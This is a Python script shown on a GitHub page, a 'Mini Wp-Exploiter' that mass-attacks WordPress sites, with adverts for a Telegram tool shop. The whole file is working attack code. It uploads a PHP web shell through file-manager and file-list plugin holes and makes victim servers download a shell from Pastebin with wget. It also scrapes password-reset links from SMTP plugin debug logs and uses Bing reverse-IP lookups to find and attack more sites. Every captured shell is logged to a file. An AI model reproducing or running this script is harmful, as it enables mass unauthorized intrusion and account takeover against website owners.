-
Notifications
You must be signed in to change notification settings - Fork 13
/
expl.py
223 lines (211 loc) · 13.4 KB
/
expl.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
#!/usr/bin/env python
# encoding: utf-8
# If you want more tools check me on > t.me/dxdteam (free & cheap tools for everyone)
import os,re
import sys,socket
from multiprocessing.dummy import Pool as ThreadPool
try:
import requests
except:
os.system('pip2 install requests')
try:
os.mkdir('0xtn-exp')
except:
pass
if os.name == 'nt':
os.system('cls && title "Wp Mini Exploiter By Escanor0xtn"')
else:
os.system('clear')
t = []
from colorama import init
def fassa5(i):
if not 'http://' in i and not 'https://' in i:
i = 'http://'+i
exploit(i)
def wp(i):
if 'jQuery Foundation' in requests.get(i + "/wp-includes/js/jquery/jquery.js",timeout=10).text:
return True
if '/wp-inclues/' in requests.get(i,timeout=10).text or '/wp-content' in requests.get(i,timeout=10).text:
return True
else:
return False
#
filename=['ex0tn.php','ex0tn.png']
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:57.0) Gecko/20100101 Firefox/57.0"}
#
def upload(url, filename):
files = {'file': (filename, open(filename, 'rb'), 'image/png')}
datas = {
'eeSFL_ID': 1,
'eeSFL_FileUploadDir': '/wp-content/uploads/simple-file-list/',
'eeSFL_Timestamp': 1587258885,
'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2',
}
r = requests.post(url=url + '/wp-content/plugins/simple-file-list/ee-upload-engine.php', data=datas,
files=files, verify=False,timeout=10)
r = requests.get(url=url + '/wp-content/uploads/simple-file-list/' + filename, verify=False,timeout=10)
if r.status_code == 200:
move(url, filename)
else:
print '\033[91m[-] Failed :' + url
pass
#
def move(url, filename):
new_filename = filename[0]
headers = {'Referer': url + '/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
'X-Requested-With': 'XMLHttpRequest'}
datas = {
'eeSFL_ID': 1,
'eeFileOld': filename,
'eeListFolder': '/',
'eeFileAction': 'Rename|'+ new_filename,
}
r = requests.post(url= url + '/wp-content/plugins/simple-file-list/ee-file-engine.php', data=datas,
headers=headers, verify=False,timeout=10)
if r.status_code == 200:
print "\033[92m [*] Boom > %s/wp-content/uploads/simple-file-list/e0xtn.php"%url
open('shells_wp.txt','a').write(url + "/wp-content/uploads/simple-file-list/e0xtn.php\n")
else:
print '\033[91m[-] Failed :' + url
return new_filename
def uploadshell(i):
m = 'wget https://pastebin.com/raw/uhmkCsAr -O e0xtn.php'
m2 = 'curl -O https://pastebin.com/raw/uhmkCsAr;mv EiKvkrJp e0xtn.php'
burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=%s" % (i, m)
burp0_url2 = "%s/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=%s" % (i, m2)
burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Expect": "100-continue", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,timeout=10).content
r2 = requests.get(burp0_url2, headers=burp0_headers,timeout=10).content
if 'Escanor0xtn' in r:
print "\033[92m [*] Boom > %s/wp-content/plugins/wp-file-manager/lib/files/e0xtn.php"%i
open('0xtn-exp/shells.txt', 'a').write(i + "/wp-content/plugins/wp-file-manager/lib/files/e0xtn.php\n")
elif 'Escanor0xtn' in r2:
print "\033[92m [*] Boom > %s/wp-content/plugins/wp-file-manager/lib/files/e0xtn.php"%i
open('0xtn-exp/shells.txt', 'a').write(i + "/wp-content/plugins/wp-file-manager/lib/files/e0xtn.php\n")
def exploit(i):
try:
if wp(i): # check if site=wordpress or no +plugin
print "\033[93m" + i + " ==> Wordpress "
open('0xtn-exp/wordpress.txt', 'a').write(i + '\n')
shell = i + "/wp-content/plugins/wp-file-manager/lib/files/x.php?cmd=uname -a"
burp0_url = "%s/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" % i
burp0_headers = {"User-Agent": "curl/7.68.0", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=------------------------66e3ca93281c7050", "Expect": "100-continue", "Connection": "close"}
burp0_data = "--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n--------------------------66e3ca93281c7050\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"x.php\"\r\nContent-Type: image/png\r\n\r\n\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01^\x00\x00\x01^\x04\x03\x00\x00\x00?\x05j)\x00\x00\x00\x1ePLTE\xff\xff\xff\xef\xef\xef\xe5\xe5\xe5\xce\xce\xce\xa1\xa1\xa1iiiVVVGGG333\x00\x00\x00g\x00\xcc\xe2\x00\x00\r\xc0IDATx\xda\xed]K[\xdb\xc8\x12m\xc9\xce^\xc6\x90\xbb58\t\xdc\x9dm\x9c\t\xd9\xd9X\x1e\xc2\x8e\x87I\xc22\t!\x93\xe5@xmc\x02\xf1\xda\x0f\xa9\xff\xed]`\xeb\xddVU\xc9C\xb5\xe6\xa2-\xd4\xa7\xf2Q\xe9\xa8\x1fuN\x8b\xdf\xb9\xba\xee\x84\xbc\"^\xd7\x83\xc7\x8f\xbc\x9a\x08\xa7\xb1F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xe9<?php system($_GET[\"cmd\"]); ?>\r\n--------------------------66e3ca93281c7050--\r\n"
requests.post(burp0_url, headers=burp0_headers, data=burp0_data,timeout=10)
if 'windows' in str(requests.get(shell,timeout=10).text).lower() or 'linux' in str(requests.get(shell,timeout=10).text).lower():
uploadshell(i)
for exp in ['/wordpress/wp-content/plugins/ez-done-file-manager/admin.php','/wordpress/wp-content/admin/views/tool-file-editor.php']:
shelllll=i+exp.replace(exp.split('/')[5],'e0xtn.php')
rea=requests.post(i+exp,data={'zip':open(filename[1],'r').read()})
rere=requests.get(shelllll,headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}).text
if 'Escanor0xtn' in rere:
print "\033[92m [*] Boom > %s"%shelllll
open('0xtn-exp/shells.txt', 'a').write(shelllll+"\n")
upload(i, filename[1])
try:
rea=requests.post(i+'/vendor/woocommerce/action-scheduler/classes/abstracts/ActionScheduler_Abstract_ListTable.php',headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'},data={'row_id':'wget https://pastebin.com/raw/uhmkCsAr -O e0xtn.php'},timeout=10)
rere=requests.get(shelllll,headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'},timeout=10).text
if 'Escanor0xtn' in rere:
print "\033[92m [*] Boom > %s"%shelllll
open('0xtn-exp/shells.txt', 'a').write(shelllll+"\n")
except:
pass
try:
iii=i+'/wp-content/plugins/easy-wp-smtp/'
rea=requests.get(iii,headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'},timeout=10).text
if "debug_log.txt" in rea:
ezrze=re.findall('>%s(.*?)_debug_log.txt'%iii,str(rea))[0]
if ezrze:
ree=requests.get(i+'/wp-content/plugins/easy-wp-smtp/%s_debug_log.txt'%ezrze,headers={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'},timeout=10).text
ee=re.findall("%s/wp-login.php(.*?)\n"%i)[0]
if ee:
print "\033[92m [*] Boom > %s"%i+'/wp-login.php'+ee
open('0xtn-exp/admin_resetpaswd.txt', 'a').write(i+'/wp-login.php'+ee+"\n")
except:
pass
try:
url = i+'/wp-admin/admin-ajax.php?action=_ning_upload_image'
if requests.get(url).status_code==200:
req = requests.post(url, files={'files[]' : open(filename[0])}, data={"allowed_file_types" : "php,jpg,jpeg","upload" : json.dumps({"dir" : "../"})})
if "0xtn" in requests.get(i+'e0xtn.php').text:
print "\033[92m [*] Boom > %s/e0xtn.php"%i
open('0xtn-exp/shells.txt', 'a').write(i+'/e0xtn.php\n')
except:
pass
else:
print "\033[91m" + i + " ==> Not Wordpress "
pass
except:
print "\033[91m" + i + " ==> Expired "
pass
def aaaaaaaaaaaaaaa(ip):
try :
ip = ip.replace('\n', '').replace('\r', '')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
result = sock.connect_ex((ip, 80))
if str(result) == '0':
bo = []
lonk = 1
num=0
while lonk < 299:
iyagw = requests.get("http://www.bing.com/search?q=IP%3A"+ip+"+&count=50&first="+str(lonk),verify=False,headers=headers)
gans = iyagw.content
ya = re.findall('<h2><a href="(.*?)"', gans.decode('utf-8'))
for z in ya:
o = z.split('/')
if (o[0]+'//'+o[2]) in bo:pass
else:
bo.append(o[0]+'//'+o[2]);num+=1
with open('0xtn-exp/grabbed.txt','a+') as s:
s.writelines((o[0]+'//'+o[2])+'\n')
lonk = lonk+50
print '\033[92m [/] IP:%s | %s Sites .. loading'%(ip,str(num))
for url in bo:
exploit(url)
except:pass
def ffffffffffff(i):
if 'http://' in i :
i=i.replace('http://','')
if 'https://' in i:
i=i.replace('https://','')
if '/' in i:
i=i.split('/')[0]
if re.match('[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d',i):
print "\033[00m[IP]: ",i
aaaaaaaaaaaaaaa(i)
else:
try:
ip=socket.gethostbyname(i)
print "\033[00m[IP]: ",ip
open('0xtn-exp/IPs.txt', 'a+').write(ip + "\n")
aaaaaaaaaaaaaaa(ip)
except:pass
init()
print """\033[93m
___ _
/ _ \__ _| |_ _ __
| | | \ \/ / __| '_ \
| |_| |> <| |_| | | | Telagram: t.me/exploitn
\___//_/\_\\\__|_| |_| ICQ : icq.im/samaxtn
{a}Mini Wp-Exploiter 2020
{a}Store(telegram) : @dxdteam | @Shop_Unknowns
{b}[{a}Developer{b}] : {a}Escanor 0xTN
{b}[{a}1{b}]{a} Sites
{b}[{a}2{b}]{a} sites/Ips+reverse ip (bing)
""".format(a="\033[94m", b="\033[92m")
i5tar=raw_input('%s0xtn> %s'%('\033[92m','\033[00m'))
sites = open(raw_input('\033[94m[\033[92mSites/IPs\033[94m]:\033[92m '), 'r').read().splitlines()
if i5tar=='1':
pool = ThreadPool(50)
pool.map(fassa5, sites)
pool.close()
pool.join()
elif i5tar=='2':
pool = ThreadPool(50)
pool.map(ffffffffffff, sites)
pool.close()
pool.join()
else:
exit(raw_input('We close sir , please visit us as soon [press enter to exit]'))
#For you Merlin